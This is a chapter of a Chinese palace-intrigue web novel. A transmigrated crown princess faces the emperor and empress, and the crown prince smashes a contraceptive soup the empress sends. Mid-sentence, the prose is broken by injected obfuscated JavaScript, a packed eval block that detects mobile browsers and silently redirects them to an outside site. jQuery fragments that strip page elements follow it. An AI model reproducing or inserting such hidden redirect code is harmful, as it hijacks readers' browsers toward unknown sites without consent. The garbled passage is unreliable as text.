13.红脸白脸

作品:《陛下,我想当皇帝

    顾玉初话语里分明带刺,秋绪却丝毫未收敛那副得意忘形之态,反而笑吟吟地凑到他跟前,摇头晃脑地说道:


    “哎呀,殿下别生气嘛,我对梁振那都是逢场作戏,要使离间计呢,那自然得拿捏姿态装腔作势,要不然,他怎么会信我说的话?”


    再者,她知道那么多秘辛,他杀了她,都断不可能送回梁家。


    更何况储妃这身份摆在这,就算他们想要和离,那些老古板大臣怕是要以头抢地死谏朝堂。


    顾玉初听罢,将手中卷宗卷起来,在她脑门敲上一记:“看来刚刚那难受的样子也是装出来的?”


    “那倒不是!”她摸摸额头,诚实地说,“不过刚刚梁振表情太精彩,我一瞧,身体就舒坦了。”


    料想顾玉初已然知晓对话内容,她也无需再复述一遍。


    那些算计较量的小心思,她本就不打算藏着掖着,面对顾玉初这种疑心病晚期的人,任何的迂回遮掩只会适得其反,倒不如把话摊在明面上,或许还能让他稍稍放下一点点戒备。


    顾玉初瞥她一眼,不再言语,转身掀袍登上马车,秋绪提着裙摆也跟进去,特地找了个离他最远的位置坐下。


    随着马车再度启程,秋绪撩开车帘子看着外头一闪而逝的街景,思忖片刻,终于有了一丝要陛见的实感。


    她悄咪咪探头问顾玉初:“陛下急召,莫不是要斥责于我?”


    他淡淡回应:“圣心难测。”


    秋绪闻言撇嘴,哪儿就难测了?整得跟他不知这事儿一般,这父子俩分明早就计划好了,她劈锁只不过是误打误撞,将这事儿进程加快,怎么魏衡帝还要专门叫她面圣呢?


    ……这感觉,就像是骂了渎职老师后被校长喊去办公室训话。


    顾玉初余光扫过她犯愁的眉眼,存心逗她道:“慌什么?凤宁宫那位可是你姑姑,还能委屈你了?”


    秋绪一听,愈发心里没底。


    她这砸的就是梁家的饭碗,天晓得会被怎么追责?清神丹只给了她掀桌的胆色,可没有给收拾残局的本事。


    马车内沉香袅袅,顾玉初说了句“放心吧”,便径自抱臂闭目养神,不再理会她。


    依照宫制,他们面圣前必须回东宫换朝服,但因魏衡帝急召,故而马车并未转道,直接驶入那庄严巍峨的宫门。


    换乘软轿后,秋绪连一路上的红墙绿瓦,茂树繁花都无心欣赏,直到抵达那象征着皇权至高无上的光明殿,她才惊觉把袖口都攥皱了。


    这一路上,比起害怕,她更多的是紧张。


    皇宫的宏伟壮丽具象成飞檐斗拱与玉阶雕花,还有那些规矩森严的宫人,一个个目不斜视,谨小慎微。


    这些细节皆让她切实地意识到,即将见到的并不是书中的某个角色,系统虚拟投影中的某个形象,或是上次皇室婚礼上那两个遥远而模糊的轮廓,让她只能跪拜的某个符号。


    在这个世界里,帝后是真切的活人,掌握着生杀予夺的大权。


    更让她提心吊胆的是……真的好怕这智障系统突然抽风,要是让她在这庄严肃穆之地,在那些想要审判她的人面前出尽洋相,那还不如直接撞柱子来得快。


    秋绪的思绪如乱麻般在脑海中打结,下意识地,她轻扫一眼并肩而行的顾玉初。


    也不知为何,自从踏入皇宫的那刻起,他整个人的气场都凝肃起来,仿佛每一寸姿态都在契合着他的政治身份,像是戴上了一层专属于太子的冷峻面具。


    不过,此次召见之地竟不在大殿内,只见一名太监恭谨地将他们引入御书房,帝后端坐上首,正在翻阅讨论案面上堆着批红的奏折。


    这安排,相比于公务场合的严肃刻板,莫名多了三两分家庭聚会的温情意味。


    然而,天家何来寻常?


    总归不对劲。


    二人踏入御书房后,便规规矩矩地向魏衡帝与梁皇后行礼。


    秋绪匍匐于地,魏衡帝的声音从上方传来,似是在抚掌而笑:“平身吧,太子妃,朕早已知晓你举斧破铁锁之壮举,实是欣赏你的果敢勇毅,颇有秋将军沙场风范!”


    秋绪闻声,刚一抬眸,便见魏衡帝身侧的梁皇后投来一记冷冽的目光。


    这是她第一次近距离见到梁皇后。


    和原本所想不大一样。


    或许在刻板印象里,如梁皇后这般掌握大权的女子,应是长着一副凌厉的眉眼。


    可梁皇后看上去极为年轻,容貌艳丽,再加上她盛装华服,如一株肆意盛放的魏紫牡丹,灼目得让人挪不开眼。


    暂且不提梁皇后品行如何,此时此刻秋绪被大美人横眉冷对,甚至有点耳尖发烫。


    她蓦然想起梦中见过的林皇后,那明显是书香门第走出的温婉千金,即便后来身染沉疴,亦如雨后白莲,圣洁憔悴。


    啧啧,魏衡帝真是好福气,两位夫人不仅出身名门,家世煊赫,自身本事了得,模样还生得花容月貌,光是和她们共处一室,就觉得满室生香,如沐春风。


    谁会不喜欢漂亮姐姐呢?


    哪怕是她,看到漂亮姐姐都挪不动步呢。


    秋绪感叹一回,偷偷瞥一眼魏衡帝,也不得不承认,这讨厌皇帝亦有一位风度翩翩美大叔的皮囊,至少在形貌上,与二位皇后都相称。


    她头一回虔诚地感谢原著作者,至少在这小说世界里,竟无一个容貌丑陋之人,自穿越至今所见,俱是玉质金相。


    这对于一个颜控而言,实在是眼花缭乱,光是到处看看就喜不自胜。


    脑海中一瞬间闪过无数念头,但秋绪勉强注意力在线,恭敬诚恳地垂首回应魏衡帝:“回陛下,臣妾身为太子之妻,为太子分担忧虑,本就是分内之事。”


    “呵,好个分内之事!”


    此时,梁皇后却陡然发难,语气严厉,“你可知道,御史弹劾你越权行事,肆意毁坏官库!梁家就是这样教你的吗?”


    “你身为太子妃,就该有一国储妃应有的风范,遇到事情不知谋划对策,竟直接砸锁了事?倘若日后再遇他事,难不成见什么便砸什么?”


    秋绪心里一动。


    梁皇后只提砸锁,莫非尚不知沉船一事?


    她再次行礼,言辞恭顺:“是臣妾一时冲动行事,还请父皇母后责罚。”


    梁皇后望向顾玉初:“还有太子!竟纵着太子妃这般逞能?!”


    顾玉初面无表情,敷衍随意地一拱手,显然没有任何认错之意:“是儿臣思虑不周。”


    “哎呀,当时那知州千方百计拖延,太子妃不过事急从权,哪里值得生这么大气。”


    魏衡帝笑笑,截住梁皇后接下来的斥责,“你莫要着急,太子妃年纪尚幼,从前也没有处理政事的经验,能有这份为太子分忧的心意,已是难能可贵,你日后多多教导于她,未必不能将太子妃步入正轨。”


    帝后这红脸白脸的戏码,真是唱得滴水不漏,末了,魏衡帝还假模假样地朝他们摆了摆手,呵呵笑道:“你们快些离去吧,莫要惹你们母后动怒了,朕都难以圆场咯。”


    如此肉麻的俏皮话,秋绪听得直犯恶心,忍了又忍,才没将脸皱成沙皮狗,甚至很想问顾玉初


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15467200|168546||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    能不能报工伤。


    之前的紧张感已然尽数褪去,皇宫庄严又如何,长得漂亮又如何,人还是那些人,翻来覆去也终究是台心照不宣的戏。


    秋绪撇开头去,却在顾玉初淡漠的侧脸上瞧见了然的神色。


    怪不得他一进皇宫就变脸,原来这不是冷肃,而是淡淡的死感。


    她理解的,谁在这种地方上班都会很想死的,而他甚至是在这种氛围中成长起来。


    个中滋味,不敢细想。


    最终,帝后对他们处以禁足三日的惩戒,也不过是走个过场,因为他们前脚刚跨进东宫的门,魏衡帝的赏赐后脚就到了。


    秋绪领罢,还没回到昭明殿,兰心就匆匆截住她,耳语道:“殿下,凤宁宫遣了尚食局奉御卢公公来,说皇后娘娘体恤殿下辛劳,特赐补汤一盏,现候在偏殿茶室外。”


    真是做戏做全套,梁皇后要真想送汤,刚刚就该直接留饭,现在又来摆什么谱?


    那卢奉御眉间细纹聚成个川字,见到秋绪后,一丝不苟地跪下叩头道:


    “太子妃殿下金安,奴尚食局奉御卢临,传皇后娘娘口谕:‘太子妃初入宫闱,侍奉储君劳顿,特赐益气归元汤一盏,以固本培元,望妃勤谨自持,毋负天家厚望。’”


    言罢,身后的小宦官上前一步,捧着朱漆托盘,食盒内放置装汤的白玉碗。


    兰心接过碗,试毒无碍,这才呈至秋绪面前,她端起轻轻一嗅,味道有些怪异,正疑惑呢,便听兰心低语:“殿下,这是避子汤。”


    秋绪:“……”


    那梁皇后可真是多虑了。


    不过她也明白,梁皇后不过借汤警告敲打罢了——这些皇家人真够讨人厌的,向来不有话直说,非要下面人悟来悟去,堪称精神霸凌。


    梁皇后的言下之意已经很明显。


    要是如原著的剧情发展,秋绪此时还被梁家抓在手里,梁皇后尚能明面上扮演个好姑姑。


    但她如今在东宫被剪断羽翼,又发生砸锁一事,梁皇后估计怀疑她已转投太子阵营。


    梁家或许需要皇太孙作保命符,可对育有两个皇子的梁皇后而言,东宫若添了嫡子,她亲子夺嫡的路便会多出一道天堑。


    这碗汤分明是在试探,测她对太子有几分真心,又有多少反噬娘家的狠劲。


    ——说出来都没人信,她两者皆无。


    可是秋绪这一番犹豫踟蹰,落在旁人眼中,怕是另有其意,卢奉御见状,再次伏地,恳切道:“娘娘千叮万嘱,务要奴亲见殿下用尽,方得回禀凤宁宫。”


    秋绪被这话堵得无计可施,一时无奈,想想还是将白玉碗贴上唇边,心道就这一回应该不会对身体有什么伤害吧……


    就在正要轻抿之时,手中的碗却冷不丁被人猛然夺去,惊了她一跳,抬眸便是顾玉初冷漠到甚至有些凶煞的面容。


    窗棱间照射进来的夕阳余晖,恰如其分地给他半边侧脸镀上金红色的柔边,却没有软化半分他身上刀锋似的戾气。


    秋绪惊愕地连呼吸都在这一刻悄然凝滞,目光如被磁石吸引般,紧紧追随着他的动作——他毫不犹豫地将那白玉碗往地上狠狠一摔!


    刹那间,清脆的破碎声轰然炸开,瓷片纷飞的,汤汁溅落一地。


    “倒要劳烦卢奉御回去禀明。”


    玄色靴子碾过碎瓷,发出沉闷的声音,顾玉初踩着这一地狼藉,稳稳当当地挡在秋绪身前。


    他目光如炬,唇角勾起,笑得她毛骨悚然:“就说——孤与太子妃嬉闹时失手打翻,倒可惜了母后这片心意。”